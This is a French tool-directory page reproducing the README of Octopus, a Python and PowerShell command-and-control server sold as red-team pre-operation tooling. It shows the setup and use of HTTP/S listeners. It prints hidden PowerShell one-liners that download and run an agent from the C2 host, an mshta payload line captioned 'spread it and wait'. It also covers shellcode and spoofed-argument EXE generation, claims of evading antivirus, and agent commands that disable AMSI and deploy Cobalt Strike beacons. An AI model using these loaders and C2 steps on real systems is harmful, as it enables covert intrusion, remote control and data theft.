Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Octopus — Serveur C2 open source de pré-opération basé sur Python et PowerShell | Kitploit
Outils/GitHubGitHub/mhaskar/octopus
Outils de Chiffrement/DéchiffrementGénération de PayloadsCollecte d'InformationsTests d'IntrusionCommandement et ContrôleRed Teaming
GitHubmhaskar/octopus

Octopus

Serveur C2 open source de pré-opération basé sur Python et PowerShell

Voir le dépôt
763155il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Qu'est-ce qu'Octopus ?

Octopus est un serveur C2 open source de pré-opération basé sur Python qui permet de contrôler un agent Octopus PowerShell via HTTP/S.

L'objectif principal de la création d'Octopus est de l'utiliser avant toute opération de red team, où plutôt que de commencer l'engagement avec l'intégralité de votre arsenal opérationnel et de votre infrastructure, vous pouvez d'abord utiliser Octopus pour attaquer la cible et collecter des informations avant de démarrer votre véritable opération de red team.

Octopus fonctionne de manière très simple pour exécuter des commandes et échanger des informations avec le C2 via un canal bien chiffré, ce qui le rend discret et indétectable par presque tous les antivirus, protections de points de terminaison et solutions de surveillance réseau.

Une fonctionnalité intéressante d'Octopus est appelée ESA, pour « Endpoint Situational Awareness », qui recueille des informations importantes sur la cible afin de mieux comprendre les points de terminaison du réseau cible que vous rencontrerez lors de votre opération, vous donnant ainsi la possibilité de personnaliser votre opération réelle en fonction de ces informations.

Octopus est conçu pour être furtif et discret lors de la communication avec le C2, car il utilise AES-256 par défaut pour son canal chiffré entre l'agent PowerShell et le serveur C2. Vous pouvez également opter pour l'utilisation de SSL/TLS en fournissant un certificat valide pour votre domaine et en configurant le serveur C2 Octopus pour l'utiliser.

Fonctionnalités clés d'Octopus

Octopus est doté d'un certain nombre de fonctionnalités qui vous permettent d'avoir un aperçu de votre prochain engagement avant de devoir déployer tout votre arsenal ou vos outils et techniques, telles que :

  • Contrôler les agents via HTTP/S.
  • Exécuter des commandes système.
  • Télécharger / Téléverser des fichiers.
  • Charger des modules PowerShell externes.
  • Utiliser des canaux chiffrés (AES-256) entre le C2 et les agents.
  • Utiliser des techniques discrètes pour exécuter des commandes et transférer les résultats.
  • Créer des écouteurs personnalisés et multiples pour chaque cible.
  • Générer différents types de charges utiles.
  • Prendre en charge toutes les versions de Windows avec PowerShell 2.0 et supérieur.
  • Exécuter l'agent exécutable Windows d'Octopus sans toucher au processus powershell.exe.
  • Fonctionnalité de collecte automatique d'informations depuis le point de terminaison (Endpoint Situational Awareness).

Prérequis

Vous pouvez installer tous les prérequis d'Octopus via :

pip install -r requirements.txt

Vous devez installer nasm pour Linux et le compilateur mingw-w64 pour utiliser la fonctionnalité de shellcoding et l'agent avec arguments falsifiés.

Vous pouvez installer nasm sur les distributions basées sur Debian en utilisant :

apt install nasm

Et vous pouvez installer mingw-w64 sur les distributions basées sur Debian en utilisant :

apt install mingw-w64

Octopus a été testé sur les systèmes d'exploitation suivants :

  • Ubuntu (18.04)
  • Ubuntu (16.04)
  • Kali Linux (2019.2)

Vous devrez également installer mono pour vous assurer de pouvoir compiler le code source C# sans problème.

Octopus dépend du binaire mono-csc pour compiler le code source C# et vous pouvez l'installer avec la commande suivante apt install mono-devel, qui a été testée sur Kali et Ubuntu 16.04.

vous pouvez utiliser Octopus sans installer mono mais vous ne pourrez pas utiliser la commande generate_exe.

Notez également que la compilation du C# dépend de l'assembly System.Management.Automation.dll avec le hachage SHA1 a43ed886b68c6ee913da85df9ad2064f1d81c470.

Si vous rencontrez des problèmes avec Octopus, n'hésitez pas à signaler un bug !

Installation

Tout d'abord, assurez-vous de télécharger la dernière version d'Octopus en utilisant la commande suivante :

git clone https://github.com/mhaskar/Octopus/

Ensuite, installez les prérequis avec la commande suivante :

pip install -r requirements.txt

Après cela, vous pouvez démarrer le serveur Octopus en exécutant :

./octopus.py

Vous serez accueilli par ce qui suit lorsque vous l'exécuterez :

root@kitploit:~
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py



      ___           ___                       ___           ___         ___           ___
     /  /\         /  /\          ___        /  /\         /  /\       /__/\         /  /\
    /  /::\       /  /:/         /  /\      /  /::\       /  /::\      \  \:\       /  /:/_
   /  /:/\:\     /  /:/         /  /:/     /  /:/\:\     /  /:/\:\      \  \:\     /  /:/ /\
  /  /:/  \:\   /  /:/  ___    /  /:/     /  /:/  \:\   /  /:/~/:/  ___  \  \:\   /  /:/ /::\
 /__/:/ \__\:\ /__/:/  /  /\  /  /::\    /__/:/ \__\:\ /__/:/ /:/  /__/\  \__\:\ /__/:/ /:/\:\
 \  \:\ /  /:/ \  \:\ /  /:/ /__/:/\:\   \  \:\ /  /:/ \  \:\/:/   \  \:\ /  /:/ \  \:\/:/~/:/
  \  \:\  /:/   \  \:\  /:/  \__\/  \:\   \  \:\  /:/   \  \::/     \  \:\  /:/   \  \::/ /:/
   \  \:\/:/     \  \:\/:/        \  \:\   \  \:\/:/     \  \:\      \  \:\/:/     \__\/ /:/
    \  \::/       \  \::/          \__\/    \  \::/       \  \:\      \  \::/        /__/:/
     \__\/         \__\/                     \__\/         \__\/       \__\/         \__\/


                    v1.2 stable !


 Octopus C2 | Control your shells


Octopus >>

Utilisation

Octopus est assez simple à utiliser : il suffit de démarrer un écouteur et de générer votre agent basé sur les informations de cet écouteur.

Vous pouvez générer autant d'écouteurs que nécessaire, puis commencer à interagir avec vos agents qui s'y connectent.

Configuration du profil

Avant de pouvoir utiliser Octopus, vous devez configurer un profil de gestion d'URL qui contrôlera le comportement et les fonctions du C2. Octopus étant un C2 basé sur HTTP, il dépend des URLs pour gérer les connexions et pour garantir que les URLs ne serviront pas de signatures ou d'IoC dans le réseau que vous attaquez. Les URLs peuvent être facilement personnalisées et renommées selon vos besoins.

La configuration du profil ne prend actuellement en charge que la gestion des URLs, la valeur d'arrêt automatique et les en-têtes.

Configuration de votre profil

Pour commencer à configurer votre profil, vous devez modifier le fichier profile.py, qui contient plusieurs variables clés :

  • file_reciever_url : gère le téléchargement de fichiers.
  • report_url : gère les rapports ESA.
  • command_send_url : gère les commandes qui seront envoyées à la cible.
  • command_receiver_url : gère les commandes qui seront exécutées sur la cible.
  • first_ping_url : gère la première connexion de la cible.
  • server_response_header : cet en-tête apparaîtra dans chaque réponse.
  • auto_kill : variable pour contrôler quand l'agent sera tué après N échecs de connexion avec le C2.

Exemple :

root@kitploit:~
#!/usr/bin/python3

# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers

# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"


# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"

# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"


# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"


# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"

# will return in every response as Server header
server_response_header = "nginx"

# will return white page that includes HTA script
mshta_url = "/hta"

# auto kill value after n tries

auto_kill = 10

L'agent et les écouteurs seront configurés pour utiliser ce profil afin de communiquer entre eux. Ensuite, nous devons apprendre à créer un écouteur.

Écouteurs

Octopus dispose de deux écouteurs principaux, « écouteur HTTP » et « écouteur HTTPS », et les options des deux écouteurs sont pratiquement identiques.

Écouteur HTTP :

La commande listen_http prend les arguments suivants pour démarrer :

  • BindIP : Définit l'adresse IP utilisée par l'écouteur.
  • BindPort : Définit le port sur lequel vous souhaitez écouter.
  • Hostname : Sera utilisé pour demander la charge utile.
  • Interval : Le nombre de secondes que l'agent attendra avant de vérifier les commandes.
  • URL : Le nom de la page hébergeant la charge utile.
  • Listener_name : Nom de l'écouteur à utiliser.

Vous pouvez également voir un exemple en exécutant la commande listen_http :

root@kitploit:~
Octopus >>listen_http
[-] Please check listener arguments !
Syntax  : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener

##########
Options info :

BindIP  		IP address that will be used by the listener
BindPort  		port you want to listen on
Hostname 		will be used to request the payload from
Interval 		how may seconds that agent will wait before check for commands
URL  			page name will hold the payload
Listener_name  	listener name to use

Octopus >>

Et nous pouvons démarrer un écouteur en utilisant la commande suivante :

listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1

Le résultat suivant sera renvoyé :

root@kitploit:~
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

Un écouteur a été démarré avec succès, et nous pouvons voir tous les écouteurs avec la commande listeners :

root@kitploit:~
Octopus >>listeners


Name        IP         Port  Host             Interval  Path      SSL
----------  -------  ------  -------------  ----------  --------  -----
operation1  0.0.0.0    8080  192.168.178.1           5  page.php  False


Octopus >>

Écouteur HTTPS :

Pour créer un écouteur HTTPS, vous pouvez utiliser la commande listen_https comme suit :

root@kitploit:~
Octopus >>listen_https
[-] Please check listener arguments !
Syntax  : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

La commande listen_https prend les arguments suivants pour démarrer :

  • BindIP : l'adresse IP utilisée par l'écouteur
  • BindPort : le port sur lequel vous souhaitez écouter
  • Hostname : sera utilisé pour demander la charge utile
  • Interval : combien de secondes l'agent attendra avant de vérifier les commandes
  • URL page : nom de la page qui contiendra la charge utile
  • Listener_name : nom de l'écouteur à utiliser
  • certficate_path : chemin du certificat SSL valide (appelé fullchain.pem pour les certificats LetsEncrypt)
  • key_path : chemin de la clé valide pour le certificat SSL (appelée key.pem pour les certificats LetsEncrypt)

Veuillez noter que vous devez fournir un certificat SSL valide associé au domaine utilisé.

Génération d'agents

One-liner PowerShell

Pour générer un agent pour l'écouteur operation1, nous pouvons utiliser la commande suivante :

generate_powershell operation1

et nous obtiendrons le résultat suivant :

root@kitploit:~
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"

Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
       e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

Hack your way in ;)
#====================

Octopus >>

Nous pouvons maintenant utiliser ce one-liner pour démarrer notre agent.

One-liner HTA

Pour générer un one-liner HTA pour l'écouteur operation1, nous pouvons utiliser la commande suivante :

generate_hta operation1

et nous obtiendrons le résultat suivant :

root@kitploit:~
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>

Veuillez noter que vous pouvez modifier l'URL /hta dans profile.py.

Agent EXE Octopus

Pour générer un agent EXE pour l'écouteur operation1, nous pouvons utiliser la commande suivante :

generate_unmanaged_exe operation1 /opt/Octopus/file.exe

et nous obtiendrons le résultat suivant :

root@kitploit:~
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>

Veuillez noter que vous devez installer mono-csc pour compiler le code source C#.

Agent avec arguments falsifiés Octopus

Vous pouvez générer un nouvel agent EXE qui exécutera un processus PowerShell avec des arguments falsifiés, basé sur les travaux brillants d'Adam Chester.

Pour générer cet exe, vous pouvez utiliser la commande suivante :

root@kitploit:~
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax :  generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>

Génération de shellcode x64 et x86

Octopus peut générer du shellcode x64 et x86 à partir de la version 1.2. Le shellcode généré utilise CreateProcessA pour lancer le one-liner powershell.exe qui démarrera l'agent PowerShell.

Pour générer du shellcode x64, vous pouvez utiliser la commande suivante :

root@kitploit:~
Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax :  generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>

Pour générer du shellcode x86, vous pouvez utiliser la commande suivante :

root@kitploit:~
Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax :  generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>

Interaction avec les agents

Tout d'abord, vous pouvez lister tous les agents connectés à l'aide de la commande list pour obtenir les résultats suivants :

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>

Ensuite, nous pouvons utiliser la commande interact pour interagir avec l'hôte comme suit :

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >>

Vous pouvez lister toutes les commandes disponibles avec la commande help comme ceci :

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >> help


Available commands to use :

Hint : if you want to execute system command just type it and wait for the results

+++++++++
help  				show this help menu
exit/back 			exit current session and back to the main screen
clear 				clear the screen output
download 			download file from the target machine
deploy_cobalt_beacon 		deploy cobalt strike powershell beacon in the current process
load 				load powershell module to the target machine
disable_amsi 			disable AMSI on the target machine
report 				get situation report from the target


(HR-PC-TYRMJ) >>

Pour exécuter une commande système directement, nous pouvons taper la commande directement et attendre les résultats en fonction du temps d'intervalle défini lors de la création de l'écouteur.

root@kitploit:~
(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :

Windows IP Configuration


Ethernet adapter Ethernet1:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : home
   Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
   IPv4 Address. . . . . . . . . . . : 192.168.1.43
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Ethernet adapter Ethernet:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :



(HR-PC-TYRMJ) >>

Dans ce cas, la commande a été chiffrée puis envoyée à l'agent, après quoi le client déchiffrera la commande et l'exécutera. L'agent chiffrera les résultats et les renverra au C2 pour les déchiffrer et afficher les résultats.

Nous pouvons également utiliser la commande report pour obtenir les informations ESA comme suit :

root@kitploit:~
(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV

=============
Hostname : 	HR-PC-QNGAV
Domain : 	darkside.com
OS : 		Microsoft Windows 10 Pro(64-bit)
OS build : 	10.0.17134
OS arch : 	64-bit
AntiVirus : 	Symantec
SIEM solution : False
Internal interfaces/IPs :
	IP : 192.168.178.144
	IP : 172.12.1.20


Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)


(HR-PC-TYRMJ) >>

Vous pouvez charger un module PowerShell externe en le plaçant dans le répertoire modules, puis en exécutant load module.ps1.

Vous pouvez également lister tous les modules du répertoire modules en exécutant la commande modules comme ceci :

root@kitploit:~
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>

Plus d'informations sur Octopus

  • Octopus v1.0 stable: Cobalt Strike deployment & much more!

  • Unveiling Octopus: The pre-operation C2 for Red Teamers

Crédits

  • Ian Lyte pour avoir signalé plusieurs bugs dans Octopus et fourni un module de contournement AMSI amélioré.

  • Khlief pour avoir ajouté le module HTA et corrigé un bug dans la fonctionnalité de téléchargement.

  • Moath Maharmah pour avoir amélioré le module de chiffrement et écrit un agent Octopus C# autonome qui sera ajouté à la prochaine version.

  • TeslaPulse pour avoir testé Octopus.

  • J005 pour avoir ajouté un one-liner PowerShell amélioré et corrigé un problème dans le script d'attaque HID.

Licence

Ce projet est sous licence GPL-3.0 - voir le fichier LICENSE pour plus de détails.

Télécharger l’outil